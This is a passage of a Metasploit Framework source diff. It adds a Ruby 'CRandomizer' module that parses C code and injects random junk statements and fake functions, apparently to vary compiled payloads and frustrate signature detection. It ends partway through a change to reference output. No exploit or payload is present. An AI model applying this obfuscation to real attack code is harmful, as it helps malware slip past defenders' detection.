require 'metasploit/framework/obfuscation/crandomizer/code_factory/malloc'
|
||||
require 'metasploit/framework/obfuscation/crandomizer/code_factory/outputdebugstring'
|
||||
require 'metasploit/framework/obfuscation/crandomizer/code_factory/printf'
|
||||
require 'metasploit/framework/obfuscation/crandomizer/code_factory/string_assignments'
|
||||
require 'metasploit/framework/obfuscation/crandomizer/code_factory/switch'
|
||||
require 'metasploit/framework/obfuscation/crandomizer/code_factory/uninit_variables'
|
||||
|
||||
# Random functions
|
||||
|
||||
require 'metasploit/framework/obfuscation/crandomizer/code_factory/fake_function'
|
||||
require 'metasploit/framework/obfuscation/crandomizer/code_factory/fake_function_collection'
|
|
@ -0,0 +1,59 @@
|
|||
require 'metasploit/framework/obfuscation/crandomizer/utility'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module Obfuscation
|
||||
module CRandomizer
|
||||
module CodeFactory
|
||||
|
||||
class Base
|
||||
attr_reader :dep
|
||||
attr_reader :code
|
||||
|
||||
def initialize
|
||||
@dep = []
|
||||
@code = normalized_stub
|
||||
end
|
||||
|
||||
# Override this method when you inherit this class.
|
||||
# The method should return the source of the stub you're trying to create,
|
||||
# as a C function.
|
||||
# For example:
|
||||
# %Q|
|
||||
# void printf(const char*);
|
||||
# void stub() {
|
||||
# printf("hello world\n");
|
||||
# }|
|
||||
# Notice if you are using a function like the above, you must declare/define that
|
||||
# beforehand. The function declaration will not be used in the final source code.
|
||||
def stub
|
||||
raise NotImplementedError
|
||||
end
|
||||
|
||||
# Checks whether this class is suitable for the code.
|
||||
#
|
||||
# @param parser [Metasm::C::Parser]
|
||||
# @return [Boolean]
|
||||
def good_dep?(parser)
|
||||
# The difference between @dep and parser.toplevel.symbol.keys
|
||||
# is the list of functions not being supported by the original code.
|
||||
ready_function_names = parser.toplevel.symbol.keys
|
||||
delta = dep - ready_function_names
|
||||
if delta.empty?
|
||||
true
|
||||
else
|
||||
false
|
||||
end
|
||||
end
|
||||
|
||||
def normalized_stub
|
||||
stub_parser = Metasploit::Framework::Obfuscation::CRandomizer::Utility.parse(stub)
|
||||
stub_parser.toplevel.statements.last.var.initializer.statements
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,45 @@
|
|||
require 'metasploit/framework/obfuscation/crandomizer/utility'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module Obfuscation
|
||||
module CRandomizer
|
||||
module CodeFactory
|
||||
|
||||
class FakeFunction
|
||||
attr_reader :attribute
|
||||
attr_reader :return_type
|
||||
attr_reader :args
|
||||
attr_reader :function_name
|
||||
|
||||
def initialize(func_name)
|
||||
@attribute = ['', ' __attribute__((export))'].sample
|
||||
@return_type = ['int', 'char*', 'void', ].sample
|
||||
@args = ['int i', 'char* s', 'void'].sample
|
||||
@function_name = func_name
|
||||
end
|
||||
|
||||
def generate_body
|
||||
case return_type
|
||||
when 'int'
|
||||
rand_return_val = Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int
|
||||
return_statement = %Q|return #{rand_return_val};|
|
||||
when 'char*'
|
||||
rand_return_str = Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_string
|
||||
return_statement = %Q|return "#{rand_return_str}";|
|
||||
else
|
||||
return_statement = ''
|
||||
end
|
||||
|
||||
%Q|
|
||||
#{return_type} #{function_name}#{attribute}(#{args}) {
|
||||
#{return_statement}
|
||||
}|
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,79 @@
|
|||
require 'metasploit/framework/obfuscation/crandomizer/utility'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module Obfuscation
|
||||
module CRandomizer
|
||||
module CodeFactory
|
||||
|
||||
class FakeFunctionCollection
|
||||
attr_accessor :functions
|
||||
attr_reader :max_functions
|
||||
|
||||
# Initializes a Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::FakeFunctionCollection instance.
|
||||
#
|
||||
# @param max_functions [Integer] Max number of fake functions to generate.
|
||||
# @return [Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::FakeFunctionCollection]
|
||||
def initialize(max_functions)
|
||||
@functions = []
|
||||
@max_functions = max_functions
|
||||
populate
|
||||
self
|
||||
end
|
||||
|
||||
# Yields a list of fake functions available.
|
||||
def each
|
||||
functions.each do |f|
|
||||
yield f
|
||||
end
|
||||
end
|
||||
|
||||
# Returns a fake Metasm::C::Declaration from the FakeFunctionCollection object.
|
||||
#
|
||||
# @return [Metasm::C::Declaration]
|
||||
def sample
|
||||
functions.sample
|
||||
end
|
||||
|
||||
# Returns a string that joins the fake functions
|
||||
def to_s
|
||||
functions.join("\n")
|
||||
end
|
||||
|
||||
# Asks the FakeFunctionCollection if a function is available.
|
||||
#
|
||||
# @param name [String]
|
||||
# @return [Boolean]
|
||||
def has_function_name?(name)
|
||||
functions.each do |f|
|
||||
if f.var.name == name
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
# Checks if the collection is empty or not.
|
||||
def empty?
|
||||
functions.empty?
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Generates a list of fake functions to use.
|
||||
def populate
|
||||
max_functions.times do |i|
|
||||
func_name = "function#{i}"
|
||||
fake_function = Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::FakeFunction.new(func_name)
|
||||
function_code = fake_function.generate_body
|
||||
stub_parser = Metasploit::Framework::Obfuscation::CRandomizer::Utility.parse(function_code)
|
||||
functions.concat(stub_parser.toplevel.statements)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,53 @@
|
|||
require 'metasploit/framework/obfuscation/crandomizer/utility'
|
||||
require 'metasploit/framework/obfuscation/crandomizer/code_factory/base'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module Obfuscation
|
||||
module CRandomizer
|
||||
module CodeFactory
|
||||
|
||||
class GetTickCount < Base
|
||||
def initialize
|
||||
super
|
||||
@dep = ['GetTickCount']
|
||||
end
|
||||
|
||||
def stub
|
||||
[
|
||||
Proc.new { single_gettickcount },
|
||||
Proc.new { diff_gettickcount }
|
||||
].sample.call
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def single_gettickcount
|
||||
%Q|
|
||||
int GetTickCount();
|
||||
void stub() {
|
||||
GetTickCount();
|
||||
}|
|
||||
end
|
||||
|
||||
def diff_gettickcount
|
||||
var_name_1 = "tickcount_#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}"
|
||||
var_name_2 = "tickcount_#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}"
|
||||
|
||||
%Q|
|
||||
int GetTickCount();
|
||||
void stub() {
|
||||
int #{var_name_1} = GetTickCount();
|
||||
int #{var_name_2} = GetTickCount();
|
||||
if (#{var_name_2} - #{var_name_1} > 100) {
|
||||
#{var_name_1} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
|
||||
}
|
||||
}|
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,68 @@
|
|||
require 'metasploit/framework/obfuscation/crandomizer/utility'
|
||||
require 'metasploit/framework/obfuscation/crandomizer/code_factory/base'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module Obfuscation
|
||||
module CRandomizer
|
||||
module CodeFactory
|
||||
|
||||
class If < Base
|
||||
def stub
|
||||
[
|
||||
Proc.new { if_stub },
|
||||
Proc.new { if_if_else_stub },
|
||||
Proc.new { if_else_stub }
|
||||
].sample.call
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def if_stub
|
||||
var_name = "xforif#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}"
|
||||
|
||||
%Q|
|
||||
void stub() {
|
||||
int #{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
|
||||
if (#{var_name}) {
|
||||
#{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
|
||||
}
|
||||
}|
|
||||
end
|
||||
|
||||
def if_if_else_stub
|
||||
var_name = "xforif2#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}"
|
||||
|
||||
%Q|
|
||||
void stub() {
|
||||
int #{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
|
||||
if (#{var_name}) {
|
||||
#{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
|
||||
} else if (#{var_name} == #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}) {
|
||||
#{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
|
||||
} else {
|
||||
#{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
|
||||
}
|
||||
}|
|
||||
end
|
||||
|
||||
def if_else_stub
|
||||
var_name = "xorif3_#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}"
|
||||
|
||||
%Q|
|
||||
void stub() {
|
||||
signed #{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
|
||||
if (#{var_name} == #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}) {
|
||||
#{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
|
||||
} else {
|
||||
#{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
|
||||
}
|
||||
}|
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,24 @@
|
|||
require 'metasploit/framework/obfuscation/crandomizer/utility'
|
||||
require 'metasploit/framework/obfuscation/crandomizer/code_factory/base'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module Obfuscation
|
||||
module CRandomizer
|
||||
module CodeFactory
|
||||
|
||||
class IntAssignments < Base
|
||||
def stub
|
||||
var_name = "fakeint_#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}"
|
||||
%Q|
|
||||
void stub() {
|
||||
int #{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
|
||||
}|
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,30 @@
|
|||
require 'metasploit/framework/obfuscation/crandomizer/utility'
|
||||
require 'metasploit/framework/obfuscation/crandomizer/code_factory/base'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module Obfuscation
|
||||
module CRandomizer
|
||||
module CodeFactory
|
||||
|
||||
class Malloc < Base
|
||||
def initialize
|
||||
super
|
||||
@dep = ['malloc']
|
||||
end
|
||||
|
||||
def stub
|
||||
var_name = "m#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}"
|
||||
%Q|
|
||||
void* malloc(unsigned int);
|
||||
void stub() {
|
||||
void* #{var_name} = malloc(#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int});
|
||||
}|
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,48 @@
|
|||
require 'metasploit/framework/obfuscation/crandomizer/utility'
|
||||
require 'metasploit/framework/obfuscation/crandomizer/code_factory/base'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module Obfuscation
|
||||
module CRandomizer
|
||||
module CodeFactory
|
||||
|
||||
class OutputDebugString < Base
|
||||
def initialize
|
||||
super
|
||||
@dep = ['OutputDebugString']
|
||||
end
|
||||
|
||||
def stub
|
||||
[
|
||||
Proc.new { outputdebugstring_1 },
|
||||
Proc.new { outputdebugstring_2 }
|
||||
].sample.call
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def outputdebugstring_1
|
||||
%Q|
|
||||
void OutputDebugString(const char*);
|
||||
void stub() {
|
||||
OutputDebugString("#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_string}");
|
||||
}|
|
||||
end
|
||||
|
||||
def outputdebugstring_2
|
||||
var_name = "msg#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}"
|
||||
%Q|
|
||||
void OutputDebugString(const char*);
|
||||
void stub() {
|
||||
char* #{var_name} = "#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_string}";
|
||||
OutputDebugString(#{var_name});
|
||||
}|
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,29 @@
|
|||
require 'metasploit/framework/obfuscation/crandomizer/utility'
|
||||
require 'metasploit/framework/obfuscation/crandomizer/code_factory/base'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module Obfuscation
|
||||
module CRandomizer
|
||||
module CodeFactory
|
||||
|
||||
class Printf < Base
|
||||
def initialize
|
||||
super
|
||||
@dep = ['printf']
|
||||
end
|
||||
|
||||
def stub
|
||||
%Q|
|
||||
int printf(const char*);
|
||||
void stub() {
|
||||
printf("#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_string}");
|
||||
}|
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,24 @@
|
|||
require 'metasploit/framework/obfuscation/crandomizer/utility'
|
||||
require 'metasploit/framework/obfuscation/crandomizer/code_factory/base'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module Obfuscation
|
||||
module CRandomizer
|
||||
module CodeFactory
|
||||
|
||||
class StringAssignments < Base
|
||||
def stub
|
||||
var_name = "fake_string_#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}"
|
||||
%Q|
|
||||
void stub() {
|
||||
const char* #{var_name} = "#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_string}";
|
||||
}|
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,54 @@
|
|||
require 'metasploit/framework/obfuscation/crandomizer/utility'
|
||||
require 'metasploit/framework/obfuscation/crandomizer/code_factory/base'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module Obfuscation
|
||||
module CRandomizer
|
||||
module CodeFactory
|
||||
|
||||
class Switch < Base
|
||||
def stub
|
||||
[
|
||||
Proc.new { switch_1 },
|
||||
Proc.new { switch_2 }
|
||||
].sample.call
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def switch_1
|
||||
var_name = "rndnum#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}"
|
||||
%Q|
|
||||
void stub() {
|
||||
int #{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
|
||||
switch (#{var_name}) {
|
||||
case #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}:
|
||||
#{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
|
||||
break;
|
||||
default:
|
||||
#{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
|
||||
break;
|
||||
}
|
||||
}|
|
||||
end
|
||||
|
||||
def switch_2
|
||||
var_name = "rndnum#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}"
|
||||
%Q|
|
||||
void stub() {
|
||||
int #{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
|
||||
switch (#{var_name}) {
|
||||
case #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}:
|
||||
#{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
|
||||
break;
|
||||
}
|
||||
}|
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,47 @@
|
|||
require 'metasploit/framework/obfuscation/crandomizer/utility'
|
||||
require 'metasploit/framework/obfuscation/crandomizer/code_factory/base'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module Obfuscation
|
||||
module CRandomizer
|
||||
module CodeFactory
|
||||
|
||||
class UninitVariables < Base
|
||||
def stub
|
||||
[
|
||||
Proc.new { char },
|
||||
Proc.new { int },
|
||||
Proc.new { string }
|
||||
].sample.call
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def char
|
||||
%Q|
|
||||
void stub() {
|
||||
char uninitcharvar#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
|
||||
}|
|
||||
end
|
||||
|
||||
def int
|
||||
%Q|
|
||||
void stub() {
|
||||
int uninitintvar#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
|
||||
}|
|
||||
end
|
||||
|
||||
def string
|
||||
%Q|
|
||||
void stub() {
|
||||
const char* uninitstringvar#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
|
||||
}|
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,182 @@
|
|||
require 'metasploit/framework/obfuscation/crandomizer/random_statements'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module Obfuscation
|
||||
module CRandomizer
|
||||
|
||||
class Modifier
|
||||
attr_reader :parser
|
||||
attr_reader :fake_functions
|
||||
attr_reader :weight
|
||||
|
||||
# Initializes a Metasploit::Framework::Obfuscation::CRandomizer::Modifier instance.
|
||||
#
|
||||
# @param p [Metasploit::C::Parser]
|
||||
# @param f [Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::FakeFunctionCollection]
|
||||
# @param w [Integer] Weight of the randomness.
|
||||
def initialize(p, f, w)
|
||||
@parser = p
|
||||
@fake_functions = f
|
||||
@weight = w
|
||||
end
|
||||
|
||||
# Modifies different if-else blocks recursively.
|
||||
#
|
||||
# @param s [Metasm::C::Declaration]
|
||||
# @return [Metasm::C::Declaration]
|
||||
def modify_if_else_blocks(s)
|
||||
modify_if(s)
|
||||
modify_else_if(s)
|
||||
modify_else(s)
|
||||
s
|
||||
end
|
||||
|
||||
# Modifies an if block.
|
||||
#
|
||||
# @param s [Metasm::C::Declaration]
|
||||
# return [void]
|
||||
def modify_if(s)
|
||||
new_if_statements = []
|
||||
|
||||
s.bthen.statements.each do |stmt|
|
||||
modify_nested_blocks(stmt)
|
||||
new_if_statements.concat(get_fake_statement)
|
||||
new_if_statements << stmt
|
||||
end
|
||||
|
||||
s.bthen.statements = new_if_statements
|
||||
end
|
||||
|
||||
# Modifies an else-if block.
|
||||
#
|
||||
# @param s [Metasm::C::Declaration]
|
||||
# @param [void]
|
||||
def modify_else_if(s)
|
||||
# There could be multiple else if blocks,
|
||||
# this gives the current else if block
|
||||
elseif_block = s.belse
|
||||
|
||||
while (elseif_block && elseif_block.respond_to?(:bthen)) do
|
||||
new_else_if_statements = []
|
||||
|
||||
elseif_block.bthen.statements.each do |stmt|
|
||||
modify_nested_blocks(stmt)
|
||||
new_else_if_statements.concat(get_fake_statement)
|
||||
new_else_if_statements << stmt
|
||||
end
|
||||
|
||||
elseif_block.bthen.statements = new_else_if_statements
|
||||
|
||||
# Move on to the next else if block
|
||||
elseif_block = elseif_block.belse
|
||||
end
|
||||
end
|
||||
|
||||
# Modifies an else block.
|
||||
#
|
||||
# @param s [Metasm::C::Declaration]
|
||||
def modify_else(s)
|
||||
else_block = s.belse
|
||||
|
||||
# The else block is retrieved this way when there is an else if block
|
||||
else_block = s.belse.belse if s.belse.respond_to?(:belse)
|
||||
|
||||
# There is really no else block, let's bail.
|
||||
# return unless else_block
|
||||
return unless else_block.respond_to?(:statements)
|
||||
|
||||
new_else_statements = []
|
||||
|
||||
else_block.statements.each do |stmt|
|
||||
modify_nested_blocks(stmt)
|
||||
new_else_statements.concat(get_fake_statement)
|
||||
new_else_statements << stmt
|
||||
end
|
||||
|
||||
else_block.statements = new_else_statements
|
||||
end
|
||||
|
||||
# Modifies a for block.
|
||||
#
|
||||
# @param s [Metasm::C::Declaration]
|
||||
def modify_for(s)
|
||||
new_for_statements = []
|
||||
|
||||
s.body.statements.each do |stmt|
|
||||
modify_nested_blocks(stmt)
|
||||
new_for_statements.concat(get_fake_statement)
|
||||
new_for_statements << stmt
|
||||
end
|
||||
|
||||
s.body.statements = new_for_statements
|
||||
|
||||
s
|
||||
end
|
||||
|
||||
# Modifies a nested block.
|
||||
#
|
||||
# @param s [Metasm::C::Declaration]
|
||||
def modify_nested_blocks(s)
|
||||
case s
|
||||
when Metasm::C::If
|
||||
modify_if_else_blocks(s)
|
||||
when Metasm::C::For
|
||||
modify_for(s)
|
||||
end
|
||||
end
|
||||
|
||||
# Modifies a function.
|
||||
#
|
||||
# @param s [Metasploit::C::Declaration]
|
||||
def modify_function(s)
|
||||
function_statements = s.var.initializer.statements
|
||||
new_function_statements = []
|
||||
|
||||
function_statements.each do |func_stmt|
|
||||
unless feeling_lucky?
|
||||
new_function_statements << func_stmt
|
||||
next
|
||||
end
|
||||
|
||||
case func_stmt
|
||||
when Metasm::C::If
|
||||
new_function_statements << modify_if_else_blocks(func_stmt)
|
||||
when Metasm::C::For
|
||||
new_function_statements << modify_for(func_stmt)
|
||||
else
|
||||
new_function_statements.concat(get_fake_statement(s))
|
||||
new_function_statements << func_stmt
|
||||
end
|
||||
end
|
||||
|
||||
unless new_function_statements.empty?
|
||||
s.var.initializer.statements = new_function_statements
|
||||
end
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Returns fake statements.
|
||||
#
|
||||
# @param s [Metasploit::C::Declaration]
|
||||
# @return [Array<Metasm::C::CExpression>]
|
||||
def get_fake_statement(s=nil)
|
||||
random_statements = Metasploit::Framework::Obfuscation::CRandomizer::RandomStatements.new(parser, fake_functions, s)
|
||||
random_statements.get
|
||||
end
|
||||
|
||||
# Returns a boolean indicating whether a random is above (or equal to) a number or not.
|
||||
#
|
||||
# @return [Boolean]
|
||||
def feeling_lucky?
|
||||
n = (rand * 100).to_i
|
||||
weight >= n
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,46 @@
|
|||
require 'metasploit/framework/obfuscation/crandomizer/utility'
|
||||
require 'metasploit/framework/obfuscation/crandomizer/modifier'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module Obfuscation
|
||||
module CRandomizer
|
||||
|
||||
class Parser
|
||||
attr_accessor :max_random_weight
|
||||
attr_accessor :fake_functions_collection
|
||||
|
||||
# Initializes a Metasploit::Framework::Obfuscation::CRandomizer::Parser instance.
|
||||
#
|
||||
# @param weight [Integer] Randomness of the code.
|
||||
# @param fake_functions [Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::FakeFunctionCollection]
|
||||
def initialize(weight, fake_functions=nil)
|
||||
@max_random_weight = weight
|
||||
@fake_functions_collection = fake_functions
|
||||
end
|
||||
|
||||
# Returns a parser.
|
||||
#
|
||||
# @param template [String] Soure code to parse.
|
||||
# @return [Metasm::C::Parser]
|
||||
def parse(template)
|
||||
main_parser = Metasploit::Framework::Obfuscation::CRandomizer::Utility.parse(template)
|
||||
modifier = Metasploit::Framework::Obfuscation::CRandomizer::Modifier.new(main_parser, fake_functions_collection, max_random_weight)
|
||||
main_parser.toplevel.statements.each do |s|
|
||||
case s.var.type
|
||||
when Metasm::C::Function
|
||||
# Some function objects such as declarations don't really have
|
||||
# any statements, if we run into something like that, skip it.
|
||||
next unless s.var.initializer.respond_to?(:statements)
|
||||
modifier.modify_function(s)
|
||||
end
|
||||
end
|
||||
|
||||
main_parser
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,132 @@
|
|||
require 'metasploit/framework/obfuscation/crandomizer/utility'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module Obfuscation
|
||||
module CRandomizer
|
||||
|
||||
class RandomStatements
|
||||
|
||||
attr_reader :parser
|
||||
attr_reader :fake_function_collection
|
||||
attr_reader :statements
|
||||
|
||||
# Initializes the RandomStatements class.
|
||||
#
|
||||
# @param fake_functions [Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::FakeFunctionCollection]
|
||||
# @param s [Metasm::C::Declaration]
|
||||
def initialize(p, fake_functions, s=nil)
|
||||
@parser = p
|
||||
@fake_function_collection = fake_functions
|
||||
@statements = [ Proc.new { get_random_statements } ]
|
||||
|
||||
# Only generate fake function calls when the function we are modifying isn't
|
||||
# from one of those fake functions (to avoid a recursion).
|
||||
if s && fake_function_collection && !fake_function_collection.has_function_name?(s.var.name)
|
||||
@statements << Proc.new { get_random_function_call }
|
||||
end
|
||||
end
|
||||
|
||||
# Returns a random statement.
|
||||
#
|
||||
# @return [Array<Metasm::C::CExpression>]
|
||||
# @return [Array<Metasm::C::Declaration>]
|
||||
def get
|
||||
statements.sample.call
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Returns function arguments as a string.
|
||||
#
|
||||
# @param args [Array<Metasm::C::Variable>]
|
||||
# @return [String]
|
||||
def make_func_arg_str(args)
|
||||
arg_array = []
|
||||
|
||||
args.each do |arg|
|
||||
case arg.name
|
||||
when 'i'
|
||||
arg_array << %Q|#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}|
|
||||
when 's'
|
||||
arg_array << %Q|"#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_string}"|
|
||||
else
|
||||
raise "Unknown argument type to process"
|
||||
end
|
||||
end
|
||||
|
||||
%Q|(#{arg_array.join(', ')})|
|
||||
end
|
||||
|
||||
# Returns the arguments (in string) for function declaration.
|
||||
#
|
||||
# @param args [Array<Metasm::C::Variable]
|
||||
# @return [String]
|
||||
def make_func_declare_arg_str(args)
|
||||
arg_array = []
|
||||
args.each do |a|
|
||||
case a.name
|
||||
when 'i'
|
||||
arg_array << 'int'
|
||||
when 's'
|
||||
arg_array << 'char*'
|
||||
else
|
||||
raise "Unknown argument type to process"
|
||||
end
|
||||
end
|
||||
|
||||
%Q|(#{arg_array.join(', ')})|
|
||||
end
|
||||
|
||||
# Returns a random statement from the Code Factory, excluding:
|
||||
# * The base class
|
||||
# * FakeFunction class
|
||||
# * FakeFunctionCollection class
|
||||
#
|
||||
# @return [Array]
|
||||
def get_random_statements
|
||||
ignored_classes = [:Base, :FakeFunction, :FakeFunctionCollection]
|
||||
class_name = Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory.constants.select { |c|
|
||||
next if ignored_classes.include?(c)
|
||||
Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory.const_get(c).instance_of?(Class)
|
||||
}.sample
|
||||
|
||||
instance = Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory.const_get(class_name).new
|
||||
|
||||
if instance.good_dep?(parser)
|
||||
return Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory.const_get(class_name).new.code
|
||||
else
|
||||
# Call again
|
||||
get_random_statements
|
||||
end
|
||||
end
|
||||
|
||||
# This function is kind of dangerous, because it could cause an
|
||||
# infinitely loop by accident when random functions call each other.
|
||||
#
|
||||
# @return [Array]
|
||||
def get_random_function_call
|
||||
# There is no fake function collection
|
||||
return [] if fake_function_collection.empty?
|
||||
|
||||
fake_function = fake_function_collection.sample
|
||||
fake_function_name = fake_function.var.name
|
||||
fake_function_args = fake_function.var.type.args
|
||||
fake_function_declare_args_str = make_func_declare_arg_str(fake_function_args)
|
||||
|
||||
arg_str = make_func_arg_str(fake_function_args)
|
||||
template = %Q|
|
||||
void #{fake_function_name}#{fake_function_declare_args_str};
|
||||
void stub() {
|
||||
#{fake_function_name}#{arg_str};
|
||||
}|
|
||||
|
||||
parser = Metasploit::Framework::Obfuscation::CRandomizer::Utility.parse(template)
|
||||
parser.toplevel.statements.last.var.initializer.statements
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,40 @@
|
|||
require 'metasm'
|
||||
require 'securerandom'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module Obfuscation
|
||||
module CRandomizer
|
||||
|
||||
class Utility
|
||||
|
||||
# Returns a random number.
|
||||
#
|
||||
# @return [Integer]
|
||||
def self.rand_int
|
||||
SecureRandom.random_number(100)
|
||||
end
|
||||
|
||||
# Returns a random string.
|
||||
#
|
||||
# @return [String]
|
||||
def self.rand_string
|
||||
SecureRandom.hex
|
||||
end
|
||||
|
||||
# Returns a Metasm parser.
|
||||
#
|
||||
# @param code [String] The C code to parse.
|
||||
# @return [Metasm::C::Parser]
|
||||
def self.parse(code)
|
||||
parser = Metasm::C::Parser.new
|
||||
parser.allow_bad_c = true
|
||||
parser.parse(code)
|
||||
parser
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -499,9 +499,28 @@ class ReadableText
|
|||
|
||||
if (mod.respond_to?(:references) && mod.references && mod.references.length > 0)
|
||||
output << "References:\n"
|
||||
mod.references.each { |ref|
|
||||
output << indent + ref.to_s + "\n"
|
||||
}
|
||||
|
||||
cve_collection = mod.references.select { |r| r.ctx_id.match(/^cve$/i) }
|
||||
if cve_collection.empty?
|
||||
output << "#{indent}CVE: Not available\n"
|
||||
end
|
||||
|
||||
mod.references.each do |ref|
|
||||
case ref.ctx_id
|
||||
when 'CVE', 'cve'
|
||||
if !cve_collection.empty? && ref.ctx_val.blank?
|
||||
output << "#{indent}CVE: Not available\n"
|
||||
else
|
||||
output << indent + ref.to_s + "\n"
|
||||
end
|
||||
when 'LOGO', 'SOUNDTRACK'
|
||||
